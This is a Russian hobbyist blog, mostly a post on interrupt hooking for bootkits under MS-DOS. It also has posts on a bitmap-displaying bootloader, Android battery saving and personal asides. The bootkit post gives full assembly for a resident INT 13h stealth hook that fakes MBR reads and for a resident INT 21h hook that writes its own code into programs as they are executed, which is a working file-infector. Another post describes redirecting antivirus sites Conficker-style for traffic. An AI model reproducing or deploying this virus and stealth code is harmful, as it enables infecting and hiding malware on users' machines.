Общее·количество·просмотров·страницы

воскресенье, 5 января 2014 г.

Перехват прерываний.

Ну во-первых, всех с Новым Годом!) Как грится дивиз 2014 года- еб*сь оно все конем))
========================================================================
"Ебать мой *уй"- так было бы  логичнее всего начать мое посленовогоднее послание).Напало стооолько работы,что я не то что не успеваю писать сюда,а даже сделать видео на конкурс...отакие пироги.

Но короче собрался я с силой мысли,духа и так далее и сегодня будет пост (в котором кстати будет в большинстве своем теория)о следующем т.н. этапе буткита-перехват прерывания(основная фишка буткита,с помощью которой он контролирует процесс загрузки операционной системы), мы должный понять, что новое-это хорошо забытое старое,что программируя на ассемблере важно знать строение процессора,его работу,что ДОС- это то что учит писать и думать на асме. Стает печально иногда видеть такой код "mov ax,0ну что это?)это не красиво,не по культурному.

В общем идея заключается в том что: как говорил мой учитель-каждый программист должен за всю жизнь написать вирус и операционную систему).
Первым мы как раз и займемся. А также рассмотрим установку МСДОС на виртуальную машину,и научимся закидывать в нее все что нам надо.

Начнемс-с пожалуй.

Как мы знаем, был такой чудесный процессор 8086.  Почему говорим о нем? Да потому что режим совместимости с командами поддерживается в моделях следующих процессоров.
8086 мог работать только в режиме R-mode ( режим в котором работает ДОС).Последующие модели сохранили режим совместимости с ним, а так же появились такие режимы как V-mode, что по своей сути представляет концепцию виртуальной машины на уровне процессора.

Как работает адресация? Самая маленькая единица адресуемого блока памяти является байт. Каждый байт имеет свое положение-физический адрес. Процессор обращается к ячейке памяти через физический адрес, делает он это через адресную шину.


 (АД- ножки,отвечающие за адресацию)

Если проще что бы адресовать 2 байта процессору надо было бы иметь шину в 1 бит. 0 -1 байт и 1- второй байт. Вот что подразумевает собой разрядность шины процессора. Почему 32 разрядный процессор поддерживает до 4 гб ОЗУ,а 64 уже выше, как раз актуальный пример)



в 8086 была 20 битная шина.( вспоминаем вентиль А20

in al, 92h
or al, 02h
out 92h, al

========
in al, 92h
and al, 0FDh
out 92h, al


)
что означает что 8086 адресовал всего лишь мегабайт памяти)

ну и мы подошли к сути: какжежтак скажите пожалуйтса регистры то 16 битные, а это значит что он адресовал не мегабайт , а 64 кб.?А вот и нет.Решение-сегментная адресация. физический адрес проецируется из 2-х 16 разрядных значений, для того что бы обратиться в любое место 20 битной шины, и видится он нам как : SEGMENT:OFFSET )))

НО стой! 16 да 16 дает нам 32- как выдрать гребанные 20?)
все просто- сегментный регистр (CS,DS,SS,ES) сдвигается влево на 4 бита, и заполняет младшие 4 бита шины -нулями затем прибавляется смещение-получаем адрес.Получается границы сегментов располагаются каждые 16 байт-параграфы. 4 битами можно адресовать 16 ячеек, каждая из них содержит один байт.

итак 2^16*16 ~= 1 мбайт)

это кстати используется в boot вирусах и буткитах также.

dec word [0413h]
mov ax,[0413h]      ;(откусываем базовую память, что бы быть резидентом)

shl ax,(10-4)   ; (конвертируем в параграфы)
mov es, ax

С основами покончено.Приступим к установке ДОС.

Как известно, в ДОС нельзя подключать всякие сетевые диски и т.д. и т.п. так что единственное что остается для работы со своими программами это скачать образ ISO DOS.

открываем его в программе ultraiso и перекидываем туда папочку с необходимыми нам программами, сохраняем. Теперь установка.










запускаем на дискете fdisk- создаем партицию.
после создания форматируем format C:/S


после того как форматировали , копируем необходимые файлы:

C:
md doss
copy A:\*.* .\doss
copy  A:\cd1.sys
copy A:\autoexec.bat
copy A:\himem.sys
copy A:\config.sys

copy R:\example C:\

все,готово.Устанавливаем загрузку с харда.







Приступаем к написанию кода.

Я создам несколько программ для разных методов перехвата.

есть 2 метода:

1)через прерывания ДОС
2)прямой манипуляцией таблицей векторов прерываний.

Начнем со второго, код слегка сложен, но в целом понятен. Данная программа будет выполнять функцию «стэлс» (как загрузочные вирусы-только резидент).Она не приносит никакого вреда,а лишь показывает основные аспекты перехвата прерываний взаимодействием с таблицей векторов прерываний. При попытке прочесть mbr- будет подставляться другой сектор.

Сначала код, потом комментирование кода.

.model tiny
 .code
 .startup

 jmp start
myint13:

 cmp ah,2 
 jne origint13h
 cmp cx,1
 jne origint13h

 mov ah,2
 mov al,1
 mov cx,4
 mov dx,80
 jmp origint13h

origint13h:
 jmp cs:dword ptr orig13h

orig13h dw ?

start:
     xor  ax,ax
     mov ds,ax
     mov ax,offset myint13
     cli
     xchg word ptr ds:[13h*4],ax
     mov word ptr cs:[orig13h],ax
     mov ax,cs
     xchg word ptr ds:[13h*4+2],ax
     mov word ptr cs:[orig13h+2],ax
     sti
     push cs
     pop ds


 lea   dx, start
 int 27h

; mov ax, 4c00h
 ;int 21h
end

итак: прыгаем на инициализацию кода.Попадаем сразу же на start.
ax=ds=0  т.к. IVT (interrupt vector table - таблица векторов прерываний) находится по адресу 0000:0000. (состоит из 256 элементов,к сведению). Далее в ax указывается т.н. ISR- interrupt service routine - то, куда будет перекидываться прерывание, при условии что будут выполняться определенные условия (тавтология)).Иначе говоря как и в перехвате в windows- обработчик. Затем, в целях безопасности, сбрасываем флаг IF и запрещаем прерываться.  Далее уже просто- номер нашего прерывания (13- работа с дисковым в\в) надо помножить на 4, (т.к. в реальном режиме работы процессора один элемент таблицы векторов прерываний это 32 битный адрес обработчика),и получить дескриптор к ISR ,сначала в сегменте, потом в оффсете. после чего снова запускаем прерывания с уже измененным обработчиком. и устанавливаем резидент(т.е. основная часть завершается, а обработчик «вешается» в память через int 27h). обработчик вообще элементарен:

проверяем, читают ли сектора- если нет, отдаем управление оригинальному обработчику
проверяем, это mbr- если нет, отдаем управление оригинальному обработчику.

если читают mbr - мы читаем свой сектор и возвращаем его.Вот в принципе и все.

напишем простой листинг для чтения mbr.

.model tiny
.code
org 100h

start:

mov cx,1
;mov dx,80h
mov ax,0201h
int 13h

push bx


xor cx,cx
lea dx, FileName
mov ah, 3ch
int 21h

pop bx
xchg dx,bx
xor bx,bx

xchg bx, ax

mov cx, 512
mov ah, 40h
int 21h
mov ah, 3eh
int 21h

ret

.data
FileName db '1.txt',0
end start


смотрим как это работает.










видим подмену сектора)))


Переходим к пункту 1)-установка перехвата с помощью прерывания ДОС

Код схож, но более минималистичен, за счет чего проще понимается.

Код-потом комментирование.

.model tiny
.code
 org   100h

start:

          mov ah,35h
          mov al,21h
          int 21h
          mov  word ptr [int21],bx
          mov  word ptr [int21+02h],es

          mov     ah,25h
          mov     dx,offset virii
          int     21h

          xchg    ax,dx
          int     27h

virii  proc
          cmp     ah,4bh
          jne     int21_exit

          mov     ax,3d02h
          int     21h
          xchg    ax,bx

          push    cs
          pop     ds

          mov     ah,40h
          mov     cx,(start-endd)
          mov     dx,offset start
int21_exit:
db       0eah

endd:
int21   dd ?

endp
.data
virnamefuckyou  db      '6EQUJ5_WOW!'
end  start

тут все в разы проще.

с помощью ah,35h и al- номер прерывания перехвата устанавливаем обработчик прерывания, тут и комментировать нечего.
в обработчике просто- перехватываем функцию exec 4bh- если открыли- записываем свой код в файл.

маленький-да удаленький как говорится.

скриншоты до запуска и после:

файл victim.com состоит только из инструкции ret и не делает абсолютно ничего.его размер до запуска составляет 1байт.

размер изменился)



а теперь главное,что мне удалось добиться используя фрэймворк одного буткита:


  
Вот и сказочке конец, а кто слушал- молодец и очень психически стойкий человек)))


на последок как обычно чуть фото,я теперь возьму это в традицию)

группа КиШ

 Вы любите ночь?



То,что пропускает мир через призму иллюзий)
 рабочее место)

четверг, 31 октября 2013 г.

простой загрузчик и ядро

Попробуем написать загрузчик и ядро.Ядром у нас будет обычный битмап.Пишем на fasm, т.к. он позволяет устанавливать код в разных местах сегмента.Т.е. можно написать код стартующий с 7с00, а потом стартующий с 0h.

Для начала подготовим ядро.Что мы знаем о битмапе?он состоит к верху дном проще говоря,по этому и рисовать будем к верху дном.и сохранять в 256 цветах (по 1 байту как раз) и размерами 320*200 пикселей (равному режиму 0x13). получается у меня такая няша:

(фуууу, слабак!)))

далее смотрим по структуре: битмап это тупо рисунок с заголовками и палитрой.Их надо откусить.


-Заголовок файла (BITMAPFILEHEADER)
-Заголовок изображения (BITMAPINFOHEADER, может отсутствовать). BITMAPV4HEADER (Win95, NT4.0) BITMAPV5HEADER (Win98/Me, 2000/XP)
-Палитра (может отсутствовать)

1-й заголовок -14 байт
2-й заголовок -40 байт
палитра - это 256 записей RGB (4 байта) что составит еще 1кб.
всего надо откусить 1078 байт. открываем в любом хекс редакторе и откусываем.

должен получиться размер картинки 64000 байт.

терь собсна код:

первое загрузочный сектор.тут все как "обычно"

USE16

org 7C00h
EntryPoint:
mov ax, cs
cli
mov ss, ax
mov ds, ax
mov es, ax
mov sp, EntryPoint  ; настраиваем сегменты и т.д. и т.п.
sti
cld

push dx ; запоминаем какой диск


mov ax, 3
int 10h

xor dx, dx
mov bx, 15
mov ax, 1301h   ; выдаем , мол все зер гут
mov bp, BootMsg
mov cx, BootMsgEnd - BootMsg 
int 10h
pop dx

mov ax, 9000h  ; сегмент куда будут кидаться данные 
mov es, ax

mov ah, 2 ;2 сектор 
mov al, (KernelEnd - KernelStartCode) / 512 ; кол-во секторов, отведенных под ядро
xor dh, dh
mov cx, 2h
xor bx, bx
int 13h ; читаем 

jc Error
jmp 9000h:0000h ; передаем управление на заданный адрес


Error:
;если ошибка- че то там делаем


BootMsg db "Boot Sector Loaded"
BootMsgEnd:

TIMES 510-($-$$) DB 0
DW 0AA55h

Теперь идет непосредственно ядро:

KernelStart:
org 0h
KernelStartCode:
jmp KernelCode

BootDisk DB ?
KernelMsg db "Kernel Started"
KernelMsgEnd:


; процедура чтения сектора по номеру.
; вход ax= номер сектора
; es:bx= куда кинуть

ReadSectors:
push ax
push cx
cwd
mov cx, 18
div cx
mov cx, dx
inc cx

xor dh, dh
shr ax, 1
rcl dh, 1

mov ch, al
shl ah, 4
or cl, ah

mov dl, [BootDisk]

mov ax, 0201h   
int 13h

pop cx
pop ax
ret

KernelCode:
;извещаем что мы подгрузились

mov [BootDisk], dl
mov dx, 0100h
mov bx, 15
mov ax, 1301h
mov bp, KernelMsg
mov cx, KernelMsgEnd - KernelMsg 
int 10h

xor ax, ax ; ждем нажатия клавиши и устанавливаем режим 320*200*256
int 16h

mov ax, 13h
int 10h

mov ax, 0A000h ; начало непосредственно прямого вывода в видеобуффер 
mov es, ax

xor bx, bx
mov ax, 2
m1:
call ReadSectors ;читаем сектора пока не выведем все
add bx, 512
inc ax
cmp ax, 125
jne m1

xor ax, ax
int 16h ;ждем нажатия и ребутим ПК

jmp 0FFFFh:0000h

  TIMES  0 - ($-KernelStart) mod 512 DB 0 ; уравниваем размеры
KernelEnd:
   file '2.bmp' ; инклюдим наше ядро

Вот собсно и все. проверить как оно работает можно в боше.



ЭХЭХЭ)
ну вот собсно и усе).

А ТЕПЕРЬ БУДЕТ ТАКОЙ СЕ НАБОЛЕВШИЙ ПОСТ СКРИПТУМ))))))))

Я тут размышлял.на самом деле,сегодня уже 31 октября, лето вспоминаю как будто неделю назад,время бежит просто очень быстро, представить трудно что через 8-9 месяцев я буду говорить не "о черт,завтра на пары",а "о черт,завтра на работу", хотя без работы жизнь бы вообще была хер знает какой, если ни деньги ни хера материальное не приносит стимула и удовольствия.Надо искать свою нишу.И надо стараться держать рядом с собой только проверенных и лучших друзей,заниматься своим делом.Играйте музыку, программируйте аццкую хрень,бухайте в конце концов, читайте что нибудь стоящее (лично я прочел некоторые вещи Кафки,хотя еще в школе наотрез отказывался читать это).в общем не теряйте время.

пысышки:
уже целая коллекция гугл нексусов). подумываю 7 поменять на 10 теперь)
а это я учусь)



еще кое что: этот код мы как то давно со slesh-em чудили, он даже где то выкидывал его кажется.однако разобраться че он там грузит и как трудновато,так что я решил (давно хотел)его сюда закинуть и рассказать как применить и как работает).

вторник, 8 октября 2013 г.

Пищать как сучки или легальный перехват

В общем то давно было желание воссоздать технику как всем известного KIDO conficker
http://ru.wikipedia.org/wiki/Conficker (часть про блокировку сайтов АВ разработчиков).
Получилось то, что для делфи все библиотеки что я ощупал (в том числе от Ms-Rem-a) очевидно на сегодняшний день устарели или просто кривые, ибо все крэшилось или нереально лагало при инжекте,а сплайсить в западло было, да и то потом отладкой заниматься долго и весело.Решил раз уж я все равно уделяю какое то время Сям, то почему бы и нет.
Тем более MICRO$OFT сами выпускают для этого БЕСПЛАТНУЮ!(конечно не в комерц. проэктах)"легальную" библиотеку detours!.

Прежде всего я подофигел с того, что для пользования ею , надо (что очень не характерно для шиндовса,скорее для никсов) собирать ее из исходников.На самом деле все просто.я собирал detours 3.0 на 2010 студии (proff).

идем в visual studio tools (папка в пуске).видим такое:
выбираем командную строку.в папку куда установили detours в корень кидаем nmake (идет в любой студии в комплекте)и запускаем там nmake, ждем пока либа и примеры соберутся.

после чего добавляем ее в студию так:

нажимаем на св-ва проекта, дальше:
прописываем путь к либе и усе готово.можно заняться перехватом.
я подумал что просто блокать будет не слишком интересно, а лучше длеать редирект(не плохая идея для траффа, не так ли?))
ну и вот что получилось:

останется лишь сделать разделение ip\domen, главное что работает.советую попробовать либу, для не сверхсложных перехватов, где не нужен дизассемблер длин инструкций и т.д и т.п. (хотя по-моему уже он там есть)отлично подойдет!

ps:
вот так я и стал писать сюда раз в месяц, идея пришла-сделал-ушла)и лень лень лень и еще раз лень.

pss:
спасибо kaimi (http://kaimi.ru/) за консультацию!

psss:
вот люди почему то и спрашивают, почему нету на других ресурсах, а сижу только на форуме antichat.ru. Объясняю:
потому что это пиздец.вы полазьте якобы на "ХАКИРСКИХ" форумах где рассадник школоло которое только понтуется своими супер знаниями,прямо русские\украинские Биллы Гейтсы и Кэвины Митники.А на античате всегда можно найти ответы на свои вопросы, помогут те же kaimi и dx, раньше slesh , gar|k, и еще много людей...конечно на АЧ тоже школоты хватает, но она в основном в болталке да и торговых пытается кинуть кого то на 10$ .по этому грамотные в основе только элита.
единственные еще не плохие порталы rdot.org (тот же античат, просто я не застал каких то там страшных событий из-за чего образовался этот форум, я типа ньюфаг) и wasm.ru.
однако мне не было нужды там регаться, пока что.


pssss:
блеа!я уже опаздываю на учебу, все бб!)


воскресенье, 8 сентября 2013 г.

так,ни о чем

ps
есть некоторые конструктивные планы,наконец взяться за ОС, игру или еще там что то, но из-за бухла,лени и еще короче могу придумать миллион отмазок,нету времени в общем.

А еще перестроился режим из отдыха в учебу, так что будет совсем тяжко,и вообще я скучаю по тому что происходило)





фуууууууууу все это перестает не в технарский блог, а в дневник какой то сопливой девчонки...)


вторник, 3 сентября 2013 г.

Уменьшение расхода батареи андроид.

Давно я не был.К тому же заболел,но накопилось несколько интересных моментов,попробую описать чуть попозже.

Я пришел к выводу, что все эти экономщики батареи в маркете-одинаковые,просто вырубают вафлю,блюпуп и т.д. когда они не используются.Толку то.Андроид сам отключает вифи когда тот не юзается, блютуз не жрет батарею в огромных кол-вах.В основном потребителем является экран,а так же службы запущенные в фоне.

Но и при выключенном экране + еще радиомодуль и поддержка связи жрет.
По этому я провел такой микротест, суть которого состоит к снижению частоты камня.
создал два профиля с помощью setcpu (кажется так называется)-при отключении экрана снижать частоту на максимум.и при 30% батареи снижать до 579 mhz

и вот что получилось: юзался телефон не слабо,видео с тырнета,звонки,серфинг етц..результат я честно говоря заметил не плохой.+ еще советую на ночь включать режим полета(если вы не ждете звонка ночью;))тогда заряд останется почти не тронутым к следующему дню.